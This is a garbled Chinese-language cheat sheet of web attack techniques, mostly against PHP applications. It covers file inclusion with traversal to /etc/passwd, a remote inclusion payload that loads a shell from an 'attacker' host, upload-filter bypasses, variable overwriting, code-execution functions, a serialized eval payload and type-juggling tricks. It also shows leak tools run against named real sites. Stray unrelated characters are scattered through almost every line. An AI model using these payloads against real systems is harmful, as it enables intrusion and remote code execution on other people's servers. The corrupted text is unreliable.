PHP:include()``include_once()``require()``require_once() fopen() readfile() 等
JSP / Servlet:ava.io.File()``java.io.FileReader()等
ASP:includefile``includevirtual 等
當 PHP 包含一個文件時完慧,會將該文件當做 PHP 代碼執(zhí)行缀壤,而不會在意文件時什么類型
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
? include '/home/wwwrun/'.$file.'.php';
}
?>
上述代碼存在本地文件包含锚扎,可用 %00 截斷的方式讀取 /etc/passwd 文件內(nèi)容酪穿。
%00 截斷
file=../../../../../../../../../etc/passwd%00
需要 magic_quotes_gpc=off掐暮,PHP 小于 5.3.4 有效秀撇。
路徑長度截斷
file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
Linux 需要文件名長于 4096斟赚,Windows 需要長于 256废菱。
點號截斷
file=../../../../../../../../../boot.ini/………[…]…………
只適用 Windows大溜,點號需要長于 256化漆。
遠程文件包含,Remote File Inclusion钦奋,RFI座云。
<?php
if ($route == "share") {
? require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
? require_once $basePath . "/action/m_sharelink.php";
}
構(gòu)造變量 basePath 的值。
/?basePath=http://attacker/phpshell.txt?
最終的代碼執(zhí)行了
require_once "http://attacker/phpshell.txt?/action/m_share.php";
問號后的部分被解釋為 URL 的 querystring付材,這也是一種「截斷」朦拖。
普通遠程文件包含
file=[http|https|ftp]://example.com/shell.txt
需要 allow_url_fopen=On 并且 allow_url_include=On。
利用 PHP 流 input
file=php://input
需要 allow_url_include=On厌衔。
利用 PHP 流 filter
file=php://filter/convert.base64-encode/resource=index.php
需要 allow_url_include=On璧帝。
利用 data URIs
file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
需要 allow_url_include=On。
利用XSS 執(zhí)行
file=http://127.0.0.1/path/xss.php?xss=phpcode
需要 allow_url_fopen=On富寿,allow_url_include=On并且防火墻或者白名單不允許訪問外網(wǎng)時睬隶,先在同站點找一個 XSS 漏洞,包含這個頁面页徐,就可以注入惡意代碼了苏潜。
文件上傳
文件上傳漏洞是指用戶上傳了一個可執(zhí)行腳本文件,并通過此文件獲得了執(zhí)行服器端命令的能力泞坦。在大多數(shù)情況下窖贤,文件上傳漏洞一般是指上傳 web 腳本能夠被服務器解析的問題,也就是所謂的 webshell 問題贰锁。完成這一攻擊需要這樣幾個條件赃梧,一是上傳的文件能夠這 web 容器執(zhí)行,其次用戶能從 web 上訪問這個文件豌熄,最后授嘀,如果上傳的文件被安全檢查、格式化锣险、圖片壓縮等功能改變了內(nèi)容蹄皱,則可能導致攻擊失敗览闰。
繞過上傳檢查
前端檢查擴展名
抓包繞過即可。
Content-Type 檢測文件類型
抓包修改 Content-Type 類型巷折,使其符合白名單規(guī)則压鉴。
服務端添加后綴
嘗試 %00 截斷。
服務端擴展名檢測
利用解析漏洞锻拘。
Apache 解析
phpshell.php.rar.rar.rar.rar 因為 Apache 不認識 .rar 這個文件類型油吭,所以會一直遍歷后綴到 .php,然后認為這是一個 PHP 文件署拟。
IIS 解析
IIS 6 下當文件名為 abc.asp;xx.jpg 時婉宰,會將其解析為 abc.asp。
PHP CGI 路徑解析
當訪問http://www.a.com/path/test.jpg/notexist.php 時推穷,會將 test.jpg 當做 PHP 解析心包,notexist.php是不存在的文件。此時 Nginx 的配置如下
location ~ \.php$ {? root html;? fastcgi_pass 127.0.0.1:9000;? fastcgi_index index.php;? fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;? include fastcgi_param;}
其他方式
后綴大小寫馒铃、雙寫蟹腾、特殊后綴如 php5 等,修改包內(nèi)容的大小寫過 WAF 等区宇。
全局變量覆蓋
變量如果未被初始化岭佳,且能夠用戶所控制,那么很可能會導致安全問題萧锉。
register_globals=ON
實例
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";
if ($auth) {
? echo "private!";
}
?>
當 register_globals=ON 時,提交 test.php?auth=1述寡,auth變量將自動得到賦值柿隙。
extract() 變量覆蓋
extract() 函數(shù)能夠?qū)⒆兞繌臄?shù)組導入到當前的符號表,其定義為
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )
其中鲫凶,第二個參數(shù)指定函數(shù)將變量導入符號表時的行為禀崖,最常見的兩個值是 EXTR_OVERWRITE 和 EXTR_SKIP。
當值為 EXTR_OVERWRITE 時螟炫,在將變量導入符號表的過程中波附,如果變量名發(fā)生沖突,則覆蓋所有變量昼钻;值為 EXTR_SKIP 則表示跳過不覆蓋掸屡。若第二個參數(shù)未指定,則在默認情況下使用 EXTR_OVERWRITE然评。
<?php
$auth = "0";
extract($_GET);
if ($auth == 1) {
? echo "private!";
} else {
? echo "public!";
}
?>
當 extract() 函數(shù)從用戶可以控制的數(shù)組中導出變量時仅财,可能發(fā)生變量覆蓋。
import_request_variables 變量覆蓋
bool import_request_variables (string $types [, string $prefix])
import_request_variables 將 GET碗淌、POST盏求、Cookies 中的變量導入到全局抖锥,使用這個函數(shù)只用簡單地指定類型即可。
<?php
$auth = "0";
import_request_variables("G");
if ($auth == 1) {
? echo "private!";
} else {
? echo "public!";
}
?>
import_request_variables("G") 指定導入 GET 請求中的變量碎罚,提交 test.php?auth=1 出現(xiàn)變量覆蓋磅废。
parse_str() 變量覆蓋
void parse_str ( string $str [, array &$arr ])
parse_str() 函數(shù)通常用于解析 URL 中的 querystring,但是當參數(shù)值可以被用戶控制時荆烈,很可能導致變量覆蓋拯勉。
// var.php?var=new? 變量覆蓋$var = [color=var(--theme-color, #42b983)]"init";parse_str($_SERVER[[color=var(--theme-color, #42b983)]"QUERY_STRING"]);print $var;
與 parse_str() 類似的函數(shù)還有 mb_parse_str()。
命令執(zhí)行直接執(zhí)行代碼
PHP 中有不少可以直接執(zhí)行代碼的函數(shù)耙考。
eval();assert();system();exec();shell_exec();passthru();escapeshellcmd();pcntl_exec();等
preg_replace() 代碼執(zhí)行
preg_replace() 的第一個參數(shù)如果存在 /e 模式修飾符谜喊,則允許代碼執(zhí)行。
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>
如果沒有 /e 修飾符倦始,可以嘗試 %00 截斷斗遏。
動態(tài)函數(shù)執(zhí)行
用戶自定義的函數(shù)可以導致代碼執(zhí)行。
<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>
反引號命令執(zhí)行
<?php
echo `ls -al`;
?>
Curly Syntax
PHP 的 Curly Syntax 也能導致代碼執(zhí)行鞋邑,它將執(zhí)行花括號間的代碼诵次,并將結(jié)果替換回去。
<?php
$var = "aaabbbccc ${`ls`}";
?>
<?php
$foobar = "phpinfo";
${"foobar"}();
?>
回調(diào)函數(shù)
很多函數(shù)都可以執(zhí)行回調(diào)函數(shù)枚碗,當回調(diào)函數(shù)用戶可控時逾一,將導致代碼執(zhí)行。
<?php
$evil_callback = $_GET["callback"];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback, $some_array);
?>
攻擊 payload
[AppleScript] 純文本查看 復制代碼
http://www.a.com/index.php?callback=phpinfo
反序列化
如果 unserialize() 在執(zhí)行時定義了 __destruct() 或 __wakeup() 函數(shù)肮雨,則有可能導致代碼執(zhí)行遵堵。
[PHP] 純文本查看 復制代碼
?
1
2
3
4
5
6
7
8
9
<?php
class Example {
? var $var = "";
? function __destruct() {
? ? eval($this->$var);
? }
}
unserialize($_GET["saved_code"]);
?>
攻擊 payload
[AppleScript] 純文本查看 復制代碼
?
1
http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
PHP 特性
數(shù)組
[PHP] 純文本查看 復制代碼
?
1
2
3
4
5
<?php
$var = 1;
$var = array();
$var = "string";
?>
php 不會嚴格檢驗傳入的變量類型,也可以將變量自由的轉(zhuǎn)換類型怨规。
比如在 $a == $b 的比較中
[PHP] 純文本查看 復制代碼
?
1
2
3
4
$a = null;
$b = false; //為真
$a = '';
$b = 0; //同樣為真
然而陌宿,PHP 內(nèi)核的開發(fā)者原本是想讓程序員借由這種不需要聲明的體系,更加高效的開發(fā)波丰,所以在幾乎所有內(nèi)置函數(shù)以及基本結(jié)構(gòu)中使用了很多松散的比較和轉(zhuǎn)換壳坪,防止程序中的變量因為程序員的不規(guī)范而頻繁的報錯,然而這卻帶來了安全問題掰烟。
[PHP] 純文本查看 復制代碼
?
1
2
3
4
0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true
魔法Hash
[PHP] 純文本查看 復制代碼
?
1
2
3
"0e132456789"=="0e7124511451155" //true
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"? //true
在進行比較運算時爽蝴,如果遇到了0e\d+這種字符串,就會將這種字符串解析為科學計數(shù)法纫骑。所以上面例子中 2 個數(shù)的值都是 0 因而就相等了蝎亚。如果不滿足0e\d+這種模式就不會相等。
十六進制轉(zhuǎn)換
[PHP] 純文本查看 復制代碼
?
1
2
3
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false
當其中的一個字符串是 0x 開頭的時候惧磺,PHP 會將此字符串解析成為十進制然后再進行比較颖对,0x1240解析成為十進制就是 123456,所以與 int 類型和 string 類型的 123456 比較都是相等磨隘。
類型轉(zhuǎn)換
常見的轉(zhuǎn)換主要就是 int 轉(zhuǎn)換為 string缤底,string轉(zhuǎn)換為 int顾患。
int 轉(zhuǎn) string:
[PHP] 純文本查看 復制代碼
?
1
2
3
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);
string 轉(zhuǎn) int:intval()函數(shù)。
對于這個函數(shù)个唧,可以先看 2 個例子江解。
[PHP] 純文本查看 復制代碼
?
1
2
3
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0
說明intval()轉(zhuǎn)換的時候,會將從字符串的開始進行轉(zhuǎn)換知道遇到一個非數(shù)字的字符徙歼。即使出現(xiàn)無法轉(zhuǎn)換的字符串犁河,intval()不會報錯而是返回 0。
同時魄梯,程序員在編程的時候也不應該使用如下的這段代碼:
[PHP] 純文本查看 復制代碼
?
1
2
3
if(intval($a)>1000) {
mysql_query("select * from news where id=".$a)
}
這個時候 $a 的值有可能是 1002 union桨螺。
內(nèi)置函數(shù)的參數(shù)的松散性
內(nèi)置函數(shù)的松散性說的是,調(diào)用函數(shù)時給函數(shù)傳遞函數(shù)無法接受的參數(shù)類型酿秸。解釋起來有點拗口灭翔,還是直接通過實際的例子來說明問題,下面會重點介紹幾個這種函數(shù)辣苏。
md5()
[PHP] 純文本查看 復制代碼
?
1
2
3
4
5
6
$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true
PHP 手冊中的 md5()函數(shù)的描述是 string md5 ( string $str [, bool $raw_output = false ] )肝箱,md5()中的需要是一個 string 類型的參數(shù)。但是當你傳遞一個 array 時稀蟋,md5()不會報錯煌张,只是會無法正確地求出 array 的 md5 值,這樣就會導致任意 2 個 array 的 md5 值都會相等退客。
strcmp()
strcmp()函數(shù)在 PHP 官方手冊中的描述是 intstrcmp ( string $str1 骏融, string $str2 ),需要給 strcmp() 傳遞 2 個 string 類型的參數(shù)萌狂。如果 str1 小于 str2绎谦,返回-1,相等返回 0粥脚,否則返回 1。strcmp()函數(shù)比較字符串的本質(zhì)是將兩個變量轉(zhuǎn)換為 ASCII包个,然后進行減法運算刷允,然后根據(jù)運算結(jié)果來決定返回值。
如果傳入給出strcmp()的參數(shù)是數(shù)字呢碧囊?
[PHP] 純文本查看 復制代碼
?
1
$array=[1,2,3];[/align]var_dump(strcmp($array,'123')); //null,在某種意義上null也就是相當于false树灶。
switch()
如果switch()是數(shù)字類型的 case 的判斷時,switch 會將其中的參數(shù)轉(zhuǎn)換為 int 類型糯而。如下:
[PHP] 純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
這個時候程序輸出的是i is less than 3 but not negative天通,是由于switch()函數(shù)將$i進行了類型轉(zhuǎn)換,轉(zhuǎn)換結(jié)果為 2熄驼。
in_array()
在 PHP 手冊中像寒,in_array()函數(shù)的解釋是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) ,如果strict參數(shù)沒有提供烘豹,那么in_array就會使用松散比較來判斷$needle是否在$haystack中。當 strince 的值為 true 時诺祸,in_array()會比較 needls 的類型和 haystack 中的類型是否相同携悯。
[PHP] 純文本查看 復制代碼
?
1
2
3
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
可以看到上面的情況返回的都是 true,因為'abc'會轉(zhuǎn)換為 0筷笨,'1bc'轉(zhuǎn)換為 1憔鬼。
array_search()與in_array()也是一樣的問題。
尋找源代碼備份
hg 源碼泄露
hg init 時會產(chǎn)生 .hg 文件胃夏。
利用工具 dvcs-ripper
https://github.com/kost/dvcs-ripper
Git 源碼泄露
.git 目錄內(nèi)有代碼的變更記錄等文件轴或,如果部署時該目錄下的文件可被訪問,可能會被利用來恢復源代碼仰禀。
/.git/.git/HEAD/.git/index/.git/config/.git/description
GitHack
https://github.com/lijiejie/GitHack
python GitHack.py
http://www.openssl.org/.git/
.DS_Store 文件泄露
Mac OS 中會包含有 .DS_Store 文件照雁,包含文件名等信息。
利用工具 ds_store_exp
https://github.com/lijiejie/ds_store_exp
[Bash shell] 純文本查看 復制代碼
?
1
python ds_store_exp.py [url]http://hd.zj.qq.com/themes/galaxyw/.DS_Storehd.zj.qq.com/[/url][/align][align=left]
[Bash shell] 純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
hd.zj.qq.com/
└── themes
? ? └── galaxyw
? ? ? ? ├──app
? ? ? ? │? └── css
? ? ? ? │? ? ? └── style.min.css
? ? ? ? ├── cityData.min.js
? ? ? ? ├── images
? ? ? ? │? └── img
? ? ? ? │? ? ? ├── bg-hd.png
? ? ? ? │? ? ? ├── bg-item-activity.png
? ? ? ? │? ? ? ├── bg-masker-pop.png
? ? ? ? │? ? ? ├── btn-bm.png
? ? ? ? │? ? ? ├── btn-login-qq.png
? ? ? ? │? ? ? ├── btn-login-wx.png
? ? ? ? │? ? ? ├── ico-add-pic.png
? ? ? ? │? ? ? ├── ico-address.png
? ? ? ? │? ? ? ├── ico-bm.png
? ? ? ? │? ? ? ├── ico-duration-time.png
? ? ? ? │? ? ? ├── ico-pop-close.png
? ? ? ? │? ? ? ├── ico-right-top-delete.png
? ? ? ? │? ? ? ├── page-login-hd.png
? ? ? ? │? ? ? ├── pic-masker.png
? ? ? ? │? ? ? └── ticket-selected.png
? ? ? ? └── member
? ? ? ? ? ? ├── assets
? ? ? ? ? ? │? ├── css
? ? ? ? ? ? │? │? ├── ace-reset.css
? ? ? ? ? ? │? │? └── antd.css
? ? ? ? ? ? │? └── lib
? ? ? ? ? ? │? ? ? ├── cityData.min.js
? ? ? ? ? ? │? ? ? └── ueditor
? ? ? ? ? ? │? ? ? ? ? ├── index.html
? ? ? ? ? ? │? ? ? ? ? ├── lang
? ? ? ? ? ? │? ? ? ? ? │? └── zh-cn
? ? ? ? ? ? │? ? ? ? ? │? ? ? ├── images
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── copy.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── localimage.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── music.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? │? └── upload.png
? ? ? ? ? ? │? ? ? ? ? │? ? ? └── zh-cn.js
? ? ? ? ? ? │? ? ? ? ? ├── php
? ? ? ? ? ? │? ? ? ? ? │? ├── action_crawler.php
? ? ? ? ? ? │? ? ? ? ? │? ├── action_list.php
? ? ? ? ? ? │? ? ? ? ? │? ├── action_upload.php
? ? ? ? ? ? │? ? ? ? ? │? ├── config.json
? ? ? ? ? ? │? ? ? ? ? │? ├── controller.php
? ? ? ? ? ? │? ? ? ? ? │? └── Uploader.class.php
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.all.js
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.all.min.js
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.config.js
? ? ? ? ? ? │? ? ? ? ? ├── ueditor.parse.js
? ? ? ? ? ? │? ? ? ? ? └── ueditor.parse.min.js
? ? ? ? ? ? └── static
? ? ? ? ? ? ? ? ├──css
? ? ? ? ? ? ? ? │? └── page.css
? ? ? ? ? ? ? ? ├──img
? ? ? ? ? ? ? ? │├──bg-table-title.png
? ? ? ? ? ? ? ? │├──bg-tab-say.png
? ? ? ? ? ? ? ? │? ├── ico-black-disabled.png
? ? ? ? ? ? ? ? │? ├── ico-black-enabled.png
? ? ? ? ? ? ? ? │? ├── ico-coorption-person.png
? ? ? ? ? ? ? ? │? ├── ico-miss-person.png
? ? ? ? ? ? ? ? │? ├── ico-mr-person.png
? ? ? ? ? ? ? ? │? ├── ico-white-disabled.png
? ? ? ? ? ? ? ? │? └── ico-white-enabled.png
? ? ? ? ? ? ? ? └── scripts
? ? ? ? ? ? ? ? ? ? ├──js
? ? ? ? ? ? ? ? ? ? └──lib
? ? ? ? ? ? ? ? ? ? ? ? └── jquery.min.js
21 directories, 48 files
網(wǎng)站備份文件
管理員備份網(wǎng)站文件后錯誤地將備份放在 Web 目錄下悼瘾。
常見的后綴名:
.rar.zip.7z.tar.tar.gz.bak.txt
SVN 泄露
敏感文件:
/.svn/.svn/wc.db/.svn/entries
dvcs-ripper
https://github.com/kost/dvcs-ripper
[Perl] 純文本查看 復制代碼
?
1
perl rip-svn.pl -v -u [url]http://www.example.com/.svn/[/url]
Seay - SVN
網(wǎng)址自行查找囊榜。
WEB-INF / web.xml 泄露
WEB-INF 是 Java Web 應用的安全目錄,web.xml 中有文件的映射關(guān)系亥宿。
WEB-INF 主要包含一下文件或目錄:
/WEB-INF/web.xml:Web 應用程序配置文件卸勺,描述了 servlet 和其他的應用組件配置及命名規(guī)則。
/WEB-INF/classes/:含了站點所有用的 class 文件烫扼,包括 servlet class 和非 servlet class曙求,他們不能包含在。jar 文件中映企。
/WEB-INF/lib/:存放 web 應用需要的各種 JAR 文件悟狱,放置僅在這個應用中要求使用的 jar 文件,如數(shù)據(jù)庫驅(qū)動 jar 文件堰氓。
/WEB-INF/src/:源碼目錄挤渐,按照包名結(jié)構(gòu)放置各個 java 文件。
/WEB-INF/database.properties:數(shù)據(jù)庫配置文件双絮。
通過找到 web.xml 文件浴麻,推斷 class 文件的路徑,最后直接 class 文件囤攀,在通過反編譯 class 文件软免,得到網(wǎng)站源碼。 一般情況焚挠,jsp 引擎默認都是禁止訪問 WEB-INF 目錄的膏萧,Nginx 配合 Tomcat 做均衡負載或集群等情況時,問題原因其實很簡單,Nginx 不會去考慮配置其他類型引擎(Nginx 不是 jsp 引擎)導致的安全問題而引入到自身的安全規(guī)范中來(這樣耦合性太高了)榛泛,修改 Nginx 配置文件禁止訪問 WEB-INF 目錄就好了:
location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他蝌蹂!
CVS 泄露
http://url/CVS/Root 返回根信息http://url/CVS/Entries 返回所有文件的結(jié)構(gòu)
取回源碼
bk clone http://url/name dir